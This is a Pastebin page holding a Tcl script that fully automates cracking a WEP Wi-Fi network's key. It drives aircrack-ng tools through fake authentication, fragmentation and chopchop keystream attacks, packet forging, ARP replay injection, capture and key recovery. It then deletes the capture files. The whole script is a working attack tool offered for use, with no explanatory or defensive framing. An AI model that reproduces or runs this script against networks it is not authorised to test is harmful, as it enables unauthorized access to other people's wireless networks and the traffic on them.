Guest User

Untitled

a guest
Jan 6th, 2018
463
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
TCL 4.62 KB | None | 0 0
  1. #!/usr/bin/tclsh
  2.  
  3. set essid "\"[join [lrange [split $argv] 0 end-2]]\""
  4. set iface [lindex [split $argv] end-1]
  5. set channel [lindex [split $argv] end]
  6. exec iwconfig $iface channel $channel
  7. set debug 0
  8.  
  9. if {$debug} {
  10.     puts "Essid: $essid\nIface: $iface\nChannel: $channel"
  11. }
  12.  
  13. proc unblock {channel} {
  14.     fconfigure $channel -buffering none -blocking 0
  15.     return $channel
  16. }
  17.  
  18. proc do_auth {essid iface} {   
  19.     set assoc [open "|/usr/local/sbin/aireplay-ng -1 900 -e $essid $iface"]
  20.     return [unblock $assoc]
  21. }
  22.  
  23. proc check_auth {assoc} {
  24.     set prevline ""
  25.     while {[set curline [gets $assoc]] != ""} {
  26.         if {$::debug} {puts $curline}
  27.         if {[string match "*Association successful*" $curline]} {
  28.             puts "Associated successfully."
  29.             set ::authed 1         
  30.         } elseif {[regexp {Using the device MAC \((.+?)\)} $curline tmp ::hmac]} {
  31.             puts "Device MAC $::hmac"
  32.         } elseif {[regexp {Found BSSID "(.+?)"} $curline tmp ::bmac]} {
  33.             puts "AP MAC $::bmac"
  34.         }
  35.     }
  36. }
  37.  
  38. proc do_chop {essid iface} {
  39.     puts "Running chopchop attack..."
  40.     set chop [open "|/usr/local/sbin/aireplay-ng -4 -F -h $::hmac -e $essid $iface" r+]
  41.     return [unblock $chop]
  42. }
  43.  
  44. proc do_frag {essid iface} {
  45.     puts "Running fragmentation attack..."
  46.     set frag [open "|/usr/local/sbin/aireplay-ng -5 -F -e $essid $iface" r+]
  47.     return [unblock $frag]
  48. }
  49.  
  50. proc check_gen {frag} {
  51.     while {[set curline [gets $frag]] != ""} {
  52.         if {$::debug} {puts $curline}
  53.         if {[regexp -line {^Saving keystream in (.+?)$} $curline tmp filename]} {
  54.             return $filename
  55.         } elseif {[string match "Still nothing*" $curline]} {
  56.             puts $frag "n\n"
  57.             flush $frag
  58.         }
  59.     }
  60.     return 0
  61. }
  62.  
  63. proc make_packet {xor} {
  64.     catch {exec packetforge-ng -0 -a $::bmac -h $::hmac -k 192.168.1.100 -l 192.168.1.101 -y $xor -w arp-request}
  65. }
  66.  
  67. proc do_inj {iface essid} {
  68.     set inj [open "|/usr/local/sbin/aireplay-ng -3 -r arp-request -e $essid -F $iface"]
  69.     puts "Injecting generated packet..."
  70.     return [unblock $inj]
  71. }
  72.  
  73. proc do_arpinj {iface essid} {
  74.     set inj [open "|/usr/local/sbin/aireplay-ng -3 -e $essid -F $iface -x 900"]
  75.     puts "Listening for ARP packets..."
  76.     return [unblock $inj]
  77. }
  78.  
  79. proc check_arpinj {arpinj frag chop} {
  80.     while {[set curline [gets $arpinj]] != ""} {
  81.         if {$::debug} {puts $curline}
  82.         if {!$::replaystarted && [regexp -line {^Read \d+ packets} $curline] && ![regexp {got 0 ARP requests} $curline]} {
  83.             puts "Replaying ARP packets."
  84.             catch {exec kill -9 [pid $frag]} tmp
  85.             catch {exec kill -9 [pid $chop]} tmp
  86.             catch {exec kill -9 [pid $::inj]} tmp
  87.             set ::replaystarted 1
  88.             return 1
  89.         }
  90.     }
  91.     return 0
  92. }
  93.  
  94. proc do_dump {iface chan} {
  95.     puts "Packet capture started."
  96.     set aero [open "|/usr/local/sbin/airodump-ng --channel $chan -w temp $iface"]
  97.     return [unblock $aero]
  98. }
  99.  
  100. proc do_crack {essid} {
  101.     puts "Starting crack..."
  102.     after 500
  103.     set ac [open "|/usr/local/bin/aircrack-ng -z -q -e $essid -b $::bmac [pwd]/temp-01.cap"]
  104.     return [unblock $ac]
  105. }
  106.  
  107. proc check_crack {ac} {
  108.     while {[set curline [gets $ac]] != ""} {
  109.         if {$::debug} {puts $curline}
  110.         if {[regexp -line {^KEY FOUND.+?$} $curline key]} {
  111.             puts $key
  112.             return 1
  113.         }
  114.     }
  115.     return 0
  116. }
  117.  
  118. proc do_cleanup {} {
  119.     puts "Cleaning up..."
  120.     eval file delete [glob *.cap]
  121.     catch {eval file delete [glob *.xor]}
  122.     file delete temp-01.txt
  123.     file delete arp-request
  124. }
  125.  
  126. set time [clock seconds]
  127. set authstarted 0
  128. set authed 0
  129. set fragstarted 0
  130. set fragged 0
  131. set forged 0
  132. set injecting 0
  133. set airodump 0
  134. set aircrack 0
  135. set arpinjstarted 0
  136. set finished 0
  137. set replaystarted 0
  138. set inj ""
  139.  
  140. while {true} {
  141.     if {!$authstarted} {
  142.         set assoc [do_auth $essid $iface]
  143.         set authstarted 1
  144.     }
  145.     check_auth $assoc
  146.    
  147.     if {!$fragstarted && $authed} {
  148.         set frag [do_frag $essid $iface]
  149.         set chop [do_chop $essid $iface]
  150.         set arpinj [do_arpinj $iface $essid]
  151.         set fragstarted 1
  152.         set arpinjstarted 1
  153.     }
  154.  
  155.     if {$arpinjstarted} {
  156.         set cur [check_arpinj $arpinj $frag $chop]
  157.         if {!$injecting && $cur} {
  158.             set injecting $cur
  159.         }
  160.     }
  161.  
  162.     if {$fragstarted && !$fragged && !$injecting} {
  163.         if {[set xor [check_gen $frag]] != 0 || [set xor [check_gen $chop]] != 0} {
  164.             puts "Got keystream..."
  165.             set fragged 1
  166.         }
  167.     }
  168.  
  169.     if {$fragged && !$forged && !$injecting} {
  170.         make_packet $xor
  171.         set forged 1
  172.     }
  173.  
  174.     if {$forged && !$injecting} {
  175.         set inj [do_inj $iface $essid]
  176.         set injecting 1
  177.     }
  178.  
  179.     if {$injecting && !$airodump} {
  180.         file delete temp-01.cap
  181.         file delete temp-01.txt
  182.         set dump [do_dump $iface $channel]
  183.         set airodump 1
  184.     }
  185.  
  186.     if {$airodump && !$aircrack && [file exist [pwd]/temp-01.cap]} {
  187.         set ac [do_crack $essid]
  188.         set aircrack 1
  189.     }
  190.  
  191.     if {$aircrack} {
  192.         set finished [check_crack $ac]
  193.     }
  194.  
  195.     if {$finished} {
  196.         do_cleanup
  197.         catch {exec kill [pid $dump]} tmp
  198.         catch {exec killall aireplay-ng} tmp
  199.         break
  200.     }
  201.     after 10
  202. }
  203. puts "Time taken: [expr [clock seconds] - $time] seconds"
  204. exit
Add Comment
Please, Sign In to add comment